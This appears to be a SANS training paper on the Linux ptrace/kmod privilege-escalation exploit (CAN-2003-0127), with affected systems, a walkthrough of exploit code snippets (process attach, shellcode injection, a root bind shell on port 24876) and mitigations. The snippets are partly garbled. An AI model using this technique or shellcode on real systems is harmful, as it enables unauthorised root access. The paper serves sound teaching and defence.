Don't Miss: MacBook Air, Surface Pro 7, or $350 Off with SANS Online Training - Register Now!

Malware FAQ

Malware FAQ: How does the Ptrace exploit work on Linux?

Author: Sangram Gayal

1 Introduction

This paper covers an internal incident that occurred at a small software development firm in India. The attacker - an employee of the firm, used a sophisticated two-step method to exploit an internal server and retain privileges on it.

The software company, though lacking a formal incident handling policy was able to handle the incident with the help of security consultants and proactive support from the management.

All the logs, signatures, and evidence presented in the paper have been obtained in a laboratory setup. The company is safeguarding all the original evidence for further investigations, if necessary.

2 The exploit

The attacker used two exploits to gain control over the system. These are
  1. openssl-too-open - Apache SSL key Arg buffer overflow [ref: 10]
  2. myptrace.c - ptrace and kernel level vulnerability in Linux OS by Snooq [ref: 1]
The openssl-too-open exploit has been documented by Chia Ling Lee for his GCIH practical assignment in support of "cyber defense initiative". The paper can be obtained at [ref: 8]. This exploit has also been presented by Anton Chuvakin as a part of GCIH practical assignment and is available at [ref: 9]. I will not be discussing the openssl vulnerability in this paper, although I will give a gist of it in later section.

In this paper I concentrate on ptrace or Linux Kernel Privileged Process Hijacking vulnerability. The exploit is known as myptrace.c. This vulnerability is documented at various sources as

Name 1 CAN-2003-0127
Name 2 Linux Kernel Privileged Process Hijacking Vulnerability
Reference BID 7112

2.1 Classification

Parameter Classification Description
Class Design error Serious flaw exists in the function as it was not designed to handle certain conditions
Type Local The attacker needs to have some privileges o the system to exploit it
Functionality Escalation of privileges The attacker can escalate his privileges on the affected system

2.2 Operating systems affected

Linux kernel versions 2.2.x prior to 2.2.25 and 2.4.x prior to 2.4.20 are vulnerable to the exploit. The following list has been compiled from various sources such as Bugtraq [ref: 7], ISS Xforce [ref: 6], Securiteam Advisory [ref: 16], and CVE [ref: 5]

Affected systems
Linux kernel 2.2
Linux kernel 2.2.1
Linux kernel 2.2.2
Linux kernel 2.2.3
Linux kernel 2.2.4
Linux kernel 2.2.5
Linux kernel 2.2.6
Linux kernel 2.2.7
Linux kernel 2.2.8
Linux kernel 2.2.9
Linux kernel 2.2.10
Linux kernel 2.2.11
Linux kernel 2.2.12
Linux kernel 2.2.13
Linux kernel 2.2.14
Linux kernel 2.2.15
Linux kernel 2.2.16
Linux kernel 2.2.17
Linux kernel 2.2.18
Linux kernel 2.2.1
Linux kernel 2.2.20
Linux kernel 2.2.219
Linux kernel 2.2.22
Linux kernel 2.2.23
Linux kernel 2.2.24
Linux kernel 2.4
Linux kernel 2.4.1
Linux kernel 2.4.2
Linux kernel 2.4.3
Linux kernel 2.4.4
Linux kernel 2.4.5
Linux kernel 2.4.6
Linux kernel 2.4.7
Linux kernel 2.4.8
Linux kernel 2.4.9
Linux kernel 2.4.10
Linux kernel 2.4.11
Linux kernel 2.4.12
Linux kernel 2.4.13
Linux kernel 2.4.14
Linux kernel 2.4.15
Linux kernel 2.4.16
Linux kernel 2.4.17
Linux kernel 2.4.18
Linux kernel 2.4.19
Linux kernel 2.4.20
Linux kernel 2.4.21 pre 1

2.2.1 Affected Platforms
Cobalt CacheRaQ 4
Cobalt Qube 3
Cobalt RaQ 4
Cobalt RaQ 550
Cobalt RaQ XTR
Conectiva Linux 6.0
Conectiva Linux 7.0
Conectiva Linux 8.0
Debian Linux 3.0
EnGarde Secure Linux Community Edition
EnGarde Secure Linux Professional Edition
Gentoo Linux Any version
Linux Any version
Mandrake Linux 7.2
Mandrake Linux 8.1
Mandrake Linux 8.2
Mandrake Linux 9.0
Mandrake Linux Corporate Server 2.1
Mandrake Single Network Firewall 7.2
Red Hat Linux 7.1
Red Hat Linux 7.2
Red Hat Linux 7.3
Red Hat Linux 7.x
Red Hat Linux 8.0
Red Hat Linux 9.0
SuSE Linux 7.1
SuSE Linux 7.3
SuSE Linux 8.0
SuSE Linux 8.1
SuSE Linux Connectivity Server Any version
SuSE Linux Database Server Any version
SuSE Linux Enterprise Server 7
SuSE Linux Enterprise Server 8
SuSE Linux Firewall Any version
SuSE Linux Office Server Any version
SuSE eMail Server 3.1
SuSE eMail Server III Any version
Sun Cobalt Control Station (SCCS) Any version
Sun Linux 5.0
Trustix Secure Linux 1.01
Trustix Secure Linux 1.1
Trustix Secure Linux 1.2
Trustix Secure Linux 1.5

2.3 Protocols/services/applications

Though this exploit has been named myptrace.c, this vulnerability does not exist in ptrace program. The vulnerability lies in the Linux Kernel and is exploited using ptrace. Kernel is the core of any system and handles all the critical process including memory management and I/O functions. Hence vulnerability at the kernel level can be used to compromise the entire system irrespective of the applications.

2.4 Brief Description of the Vulnerability

The vulnerability exists in the Linux kernel. The ptrace program is used to attach to the root spawned process; this is usually the kernel child process. Using this vulnerability the root owned process can be debugged and controlled. Later malicious code (shell code) can be injected into the process and executed, so as to escalate the privileges of the user to root. The injected shell code is executed with privileges of setuid root. This gives the attacker a shell with root privileges. For detailed working of the exploit refer to the section "The Exploit - inner workings".

2.5 Variants

There are two variants of this exploit available in the void. The original exploit code was authored by Wojciech Purczynski and is called ptrace-kmod.c. The second well-known code that exploits this vulnerability has been authored by Anszom and is known as km3.c.

Code by Purczynski (ptrace-kmod.c) spawns a connect-back shell that the attacker can use. Anszom's and Snooq's code (myptrace.c) uses a method by which the shell code is bound to a fixed port number. Anszom's code binds to the port 4112 while Snooq's code binds to the port 24876.

Anszom's and Purczynski's code reads the /proc entries. The /proc directory is a virtual directory which maintains the process table. All the information regarding the state of process and privileges can be obtained by querying the process table. So if the permissions of /proc are set to chmod 700, theses exploits will not work. Snooq's myptrace.c does not read the /proc entries, hence the quick fix solution to alter the permissions of /proc will not be applicable and the system is still exploitable.

2.6 References

Author's homepage (Snooq)
Exploit URLs  
Bugtraq reference
ISS Xforce Advisory
Red Hat Security Advisory RHSA-2003:098-00
Variants of the exploit
Patch information (general)

3 The Exploit - inner workings

This section deals with the exact technique used by the exploit code to escalate privileges on a vulnerable system. The exploit code is also explained in detail. I have changed the program flow so as to facilitate understanding of the exploit code.

3.1 Working of the exploit - theory

3.1.1 Preliminaries

The myptrace.c exploit is a local root exploit. The user needs to have an account on the system to run this exploit. The system can be exploited only if
  • The kernel is vulnerable (see "Operating systems affected" for a list of vulnerable kernels)
  • Kernel has been compiled with the module support
  • Kernel module loader is enabled on the system
  • ptrace() calls are not blocked
Most of the default out of the box systems satisfy the above criteria and are vulnerable to the exploit.

3.1.2 Working

The following steps broadly outline the working of the exploit.
  1. The exploit requests a feature that exists in a kernel module.
  2. The kernel spawns a child process with UID and GID 0 (root owned)
  3. This kernel child process is attached to by ptrace (which actually is the vulnerability, the child process should not be allowed to be debugged)
  4. Kernel child process executes the binary "modprobe" or "/sbin/modprobe"
  5. This is the time when the exploit injects a malicious code into the memory area where modprobe is executing and overwrites the return pointer to execute the malicious code (shell code).
3.2 Protocol description

Since this is a local exploit, no protocol is involved. But to understand the working of this exploit some basic knowledge of system calls, ptrace() call and fork() call, and signals is required. I will explain these in very brief.

3.3 Brief primer on system calls, signals, and some basic definitions

3.3.1 Kernel

The kernel is the core of any operating system. It provides all the important functionality of any operating system. It is mainly responsible for file system management, memory management, I/O functions and scheduling.

3.3.2 Program

An executable of binary file is called program and is executed by issuing the exec system call.

3.3.3 Process

Any instance of a running program is known as a process. Every process is associated with various identifiers or IDs. Eg. PID is a unique Process ID, PPID is the parent PID, UID is the user ID and so on.

3.3.4 System calls [ref: 17]

Any Unix system provides interfaces for any active process to access the services of the kernel. These interfaces or entry points are known as system calls. A system call to the C programmer appears similar to any other function.

3.3.5 Signals [ref: 23]

Signal is an asynchronous notification of an event. A signal is generated or sent to a process, when an event associated with that process occurs. Whenever a process receives a signal it can take default action, ignore it or invoke a function depending upon the signal type and the interface provided.

3.3.6 The fork() system call

The fork() system call is used by the Unix operating system to create a copy of an active process. The fork() system call when executed by a process a replica of the process is created. The process that executed the fork() call is known as the parent process and the new process that is created is the child process.

3.3.7 The ptrace() system call [ref: 22]

The ptrace function allows a parent process to control the execution of a child process. The ptrace() system call is used for debugging purposes to follow the execution of a program. It is mainly used for break point debugging. Once a process is being debugged by ptrace(), it can be controlled, single stepped and also registers can be written to, so as to modify the execution of that process.

3.3.8 SIGSTOP signal

This signal stops a process. The process can be continued by the signal SIGCONT.

3.3.9 SIGCHLD signal

This signal notifies the parent process, that the state of the child process has changed.

3.4 A step by step analysis of the exploit

Here I will explain the main snippets of the exploit code that gives the core functionality. The code has been written in C and makes use of signals and UNIX system interfaces. For further reference on C programming and UNIX programming refer to "The C programming Language" [ref: 18], "UNIX programming Environment" [ref: 19] and "UNIX Network Programming" [ref: 17]. The complete exploit has been provided as an appendix. [ref. "myptrace.c exploit source code"]

1. Preliminary declaration for including header files necessary for working of the program and global variable declaration

#include      /* For user_regs_struct */
#define SIZE (sizeof(shellcode)-1)
pid_t parent=0;
pid_t child=0;
pid_t k_child=0;
static int sigc=0;

2. Port binding shell code is declared as a character array. This is a shell code in hexadecimal that when executed will spawn a shell that will bind to the port 24876. This array can later be injected into memory location so that upon execution it will give us an interactive shell.

Char shellcode[ ]=	
        "\xc0\x50 x89\xe1\x8d\x54\x24\x04\x5b\xb0\x0b\xcd\x80\x31"
        "\xc0\xb0\x01\x31\xdb\xcd\x80\\xeb\x13\ xe8\xe8\xff\xff\xff/bin/sh";

3. In main program the current program is forked. If the fork() call returns -1 the fork was unsuccessful, program will then exit printing an error message. The fork() call is executed once but returns twice; once in the parent and once in the child. If the fork is successful, the "parent" program is returned the child's PID by fork. While the fork() call in the child returns 0, so the process can know that it is the child process.hell.

Code for forking and start of main function

Main(int argc, char *argv[ ] ) {

	int i, error;
	pid_t pid;

	struct user_regs_struct regs;	/* Registers Structure */


	switch (pid=fork()) {

Here we make 3 cases

Case 1: fork() = -1; the fork was unsuccessful, program terminates.

Case 2: fork() = 0 ; this process is child process and this process will be used for attacking. The PID of this child process can be obtained by the system call getpid() from within the child process. This is stored (termed) in variable "child".

Case 3: fork() =?; if the fork returns any thing other than -1 or 0, the current process is probably in the parent process and the fork has returned the PID of the child. So it takes the default action. The default action can be taken only by the parent program and calls a function in the kernel module:


This call makes the kernel spawn a child process. The PID of the kernel child process (termed as k_child) is guessed to be the exploit code child's PID +1

Code for case 3: default action in parent process

Default:	/* Parent's thread -- The vulnerable call */

Code for case 1: error

Case -1:
		perror("Can't fork(): ");

Code for case 2: The child process

		k_child=child+1;	/* Kernel child's PID... Hopefully.. */

		fprintf(stderr, "-> Parent's PID is %d. Child's PID is %d.\n", parent, child);

		fprintf(stderr, "-> Attaching to %d...", k_child);

4. Now in the child process we try to bind to the child spawned by the kernel with PID child+1. For binding or controlling the kernel child process we need to ptrace it.

While ((error=ptrace(PTRACE_ATTACH,k_child,0,0)==-1) && (errno==ESRCH)) {
			fprintf(stderr, ".");

		if (error==-1) {
			fprintf(stderr,"-> Unable to attach to %d.\n",k_child);

		fprintf(stderr, "\n-> Got the thread!!\n");

5. Once the program attaches ptrace() to the kernel child process, the kernel child process will get a SIGSTOP signal. The controlling program, that is child process of exploit program will get a SIGCHLD signal. So program waits for SIGCHLD signal to know if the ptrace() was successful.

While ((error=ptrace(PTRACE_ATTACH,k_child,0,0)==-1) && (errno==ESRCH)) {
			fprintf(stderr, ".");

		if (error==-1) {
			fprintf(stderr,"-> Unable to attach to %d.\n",k_child);

		fprintf(stderr, "\n-> Got the thread!!\n");

		   Waiting for the first SIGCHLD, which signals the end of the attaching action.

		if (ptrace(PTRACE_SYSCALL,k_child,0,0)==-1) {
			fprintf(stderr,"-> Unable to setup syscall trace.\n");

6. Once the ptrace() is successful; control of the kernel child process is with the exploit process. Now the shell code is injected into the memory.

For (i=0; i<=SIZE; i+=4) {
			if( ptrace(PTRACE_POKETEXT,k_child,regs.eip+i,*(int*)(shellcode+i))) {}

7. After injecting the shell code the exploit code detaches from the modprobe and then kills the main exploit program process and also the child process of the exploit.

if (ptrace(PTRACE_DETACH,k_child,0,0)==-1) {
			perror("-> Unable to detach from modprobe thread: ");

		fprintf(stderr, "-> Detached from modprobe thread.\n");
		fprintf(stderr, "-> Committing suicide.....\n");

		if (kill(parent,9)==-1) {	/* This is really ugly..... */
			perror("-> We survived??!!??  ");

		   We should be dead by now. 



8. Now there is a new port (24876) open on the system. All that the attacker has to do now is connect to port 24876 on the system to get root privileges.

4.4 Signature of the attack

The "myptrace.c" attack leaves no signature on IDS as it is a local root exploit. During the investigations and experimental laboratory simulation of the exploit, the system function call made by "myptrace.c" exploit was not found in the modules. This leaves a trail in the "/var/log messages". Though this is not the signature of the exploit, just in a particular scenario, if the kernel fails to find the module requested one might encounter the following kernel error message. This message may be generated in other genuine error circumstances too. So once again I assert that this is not the signature of the exploit but I am mentioning it here for record purposes only.

Apr 15 15:25:03 localhost modprobe: modprobe: Can't locate module net-pf-14

Apr 15 15:25:12 localhost kernel: request_module[net-pf-14]: waitpid(4778,...) failed, errno 512

4.5 Protecting against modprobe /Kmod/ ptrace exploits

The following counter measures can be taken to protect against this exploit.
  1. Apply vendor patch to the kernel. Since this is risky, "change management procedures" need to be followed. The current state of the system should be backed up along with all data and a "roll back" plan should be in place.
  2. The other method is to upgrade the kernel to ver 2.5 on standby system and replacing it with the live system. Here too a roll back plan is important.
  3. A quick fix solution to this problem is disabling kernel modules or installing a ptrace-blocking module.
  4. A workaround is possible by setting /proc/sys/kernel/modprobe and /sbin/modprobe to point to any bogus file. However this will disable all the functionality offered by kernel modules
4.6 Vendor patches

Here is a listing of available vendor patches for popular distributions of LINUX.
  1. Red Hat Security Advisory and associated patch
  2. Debian Security Advisory
  3. MandrakeSoft Security Advisory and patch information
  4. A generalized patch for custom-built system is also available. To use this patch, one would have manually patch using the diff file and recompile the kernel.